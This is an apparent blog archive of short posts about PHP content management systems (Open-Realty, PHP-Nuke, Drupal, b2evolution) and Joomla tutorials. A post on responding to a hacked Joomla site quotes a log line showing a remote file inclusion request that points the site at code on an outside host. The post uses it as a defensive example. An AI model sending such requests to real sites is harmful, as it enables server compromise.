Category Archives: Content Management Systems

Open-Realty

OpenRealty is an application developed for realtors for efficient real estate listing management. This is a web based, commercial application created in PHP. It is quite popular as its easy to understand and use. Open-Realty is a Real Estate listing system featuring attachments, flexible search, template system, and Google maps integration.

Openrealty has a simple installation process, comes with an system fo blogging and lead capture, SEO feature for listings to feature in search engines, customizable templates, virtual tour for listings, advanced search, and many other features. Openrealty also provides other add-ons such as IDX data importer, RETS data importer, and advanced Google map integration for creating a complete and functional realty estate website.

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PhpFormGenerator

To create attractive and simple web forms with few mouse clicks there is an online tool available known as phpFormGenerator. It is a time-tested and cost-efficient solution as well. The most pleasing advantage of this application is there is no need of any kind of coding or programming. In addition, phpFormGenerator elaborates the HTML code. Hence the form processor code in PHP, and the field validation code easily generates through simple mouse clicks by using an easy web interface.

Even though, it provides number of conveyance formats. Users can select to have their forms results hand over through email, sent to a MySQL data base, and written to a data file. Which they can open those results in Excel and other programs.

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PHP-Nuke

PHP-Nuke is a large content management system and the popularity of this CMS increasing rapidly due to its world wide community users. Eventually it is also used for web based automated news publishing. Like other popular content management system this CMS is also based on PHP and work with MySQL. The application has included the most eye catching features like mailing list, news management, and private messaging system and so forth. The web based user interface helps to cope up the system.

Earlier version of PHP-Nuke was distributed under GNU (General Public License). The latest version  required genuine license until new version comes out. According to their official web site Alphas, Betas, and release candidates will not be public.

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b2evolution

b2evolution is a content management system, most likely used for multi-blog publishing, and multi-user blogging activities. It is an open source application written in PHP and works with MySQL database. The CMS is follower of popular b2/cafelog in its time and developed by François Planque since 2003, as a continuation of version 0.6.1.

The most important advantage of this content management system is; it is easy and convenient to install and update. Even though the large number of different functions can easily cope up as well. This CMS can be installed on any LAMP server within few minutes. In the latest release of the b2evolution user does not need any editing configuration files, as this task performs the installation program or the admin control panel.

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Benefits and Installation of Drupal CMS

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Drupal is one of the popular content management system in the market. This CMS software has written in PHP and it is an open source application. Management tools in this software support various types of functionality so user can handle wide range of content easily. This CMS is a good source to create blogs, commercial, community, and classified web site. The requirement of blog or commercial site can be easily managed through this content management system.

This is an advantageous open source CMS application, which helps to create e-commerce store as well. Its excellent usability makes it a strong contender so it is hard for other CMS types to beat Drupal.

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How to remove extensions from Joomla 1.5

If you want to remove extensions, then you can follow the following steps :

1. Components  : Go to your admin area > Joomla Extensions > Install/Uninstall >  Components >  click the Uninstall

2. Modules : Go to your admin area > Joomla Extensions > Install/Uninstall >  Modules > click the Uninstall
3. Plugins : Go to your admin area > Joomla Extensions > Install/Uninstall >  Plugins > click the Uninstall
4. Languages : Go to your admin area > Joomla Extensions > Install/Uninstall >  Languages > click the Uninstall
5. Templates : Go to your admin area > Joomla Extensions > Install/Uninstall >  Templates > click the Uninstall

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What to do when Joomla is hacked?

When you discover that your Joomla is under attack, you should first go through the  weblogs. You might discover suspicious client requests there for eg:

192.168.0.1 – – [29/Oct/2008:06:07:30 -0500] “GET /index.php?live_site=domain.com/1.txt?? HTTP/1.1” 200 10864 “-” “Firefox”

But there are times when its extremely difficult to trace and decode an attack on your website. It might take the skills and time of an expert developer to successfully trace an attack. Hopefully the below points might prove helpful to prevent any attacks on your Joomla website

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Joomla VS Word-Press

There are small similarities between Joomla and WordPress. Actually both are CMS ( content management systems ), but usually people may not differentiate, which one is more suitable for them according their requirements. In reality, both CMS have the astonishing features, but normally they are popular between specific communities. Like, people who are willing to start blogging activities mostly prefer Word-Press due to its simplicity and Joomla is most probably prefered by those people who have the technical knowledge in web designing and developing.

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Changing The Templates in Joomla 1.5

This tutorial is designed to help you change the template in Joomla 1.5, you will be able to change the default template of your Joomla 1.5 website. With Joomla, you can easily change the templates without any troubles. You can search for Joomla templates on the internet- there are several attractive templates which can be downloaded for Joomla 1.5
Find and download the Joomla template. Save it on your computer. Once your template is saved its very easy to change the Joomla template.

First log into the Joomla admin area and go to extensions menu. Click on install/uninstall from the drop  down menu.
Now click ‘upload package file’ box. Here you have to specify where you have saved the downloaded template on your computer.
Upload the template and install it. Once done, you will have to apply that template to your Joomla website.
Once again go Extensions and click on Template manager from the drop down.
Here, select the template you just installed. In the top right menu click on ‘Default’. Now the template will be applied to your website.

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creating drop down menus in joomla 1.5

This tutorial will guide you through the process of creating a horizontal drop-down menus in your Joomla 1.5 website.
You will have to create the drop down menu through the ‘Extended Menu module’. For that you have to download and install the extension on your Joomla website. You can download this module from the websites of its creators: http://joomlacode.org/gf/project/extended_menu/frs/
Once you have downloaded and installed the module, you can start.
1.Extensions -> Module Manager> Extended Menu module.
2.Extended Menu module Configuration: you can set different variables for the different kinds of menus. It is recommended not to change most of the settings values
3.In the ‘menu style’ option, select ‘tree list’; Active Menu class set to ‘both’, Menu template- enabled to ‘no’ and Element Id: ‘yes’. In addition you have to select which menu should be loaded from the Menu Name drop-down box.
4.Organize your menus to display them in drop down.
5.For eg, we will create sub-menu of the ‘Features’ menu and display it as a drop-down.  Menus -> Top Menu.
6.Click on ‘New menu’> set the menu to display the content you wish. Set this to its ‘parent’ menu. For us this is the features menu.
7.Now you set the behaviour for your drop down menu in the CSS file. To do that, add the lines last in the stylesheet file of your template.css
You can customize the appearance of your menu through the CSS. Once that is done, hover your mouse over the ‘features’ tab to display the drop down menu you created.

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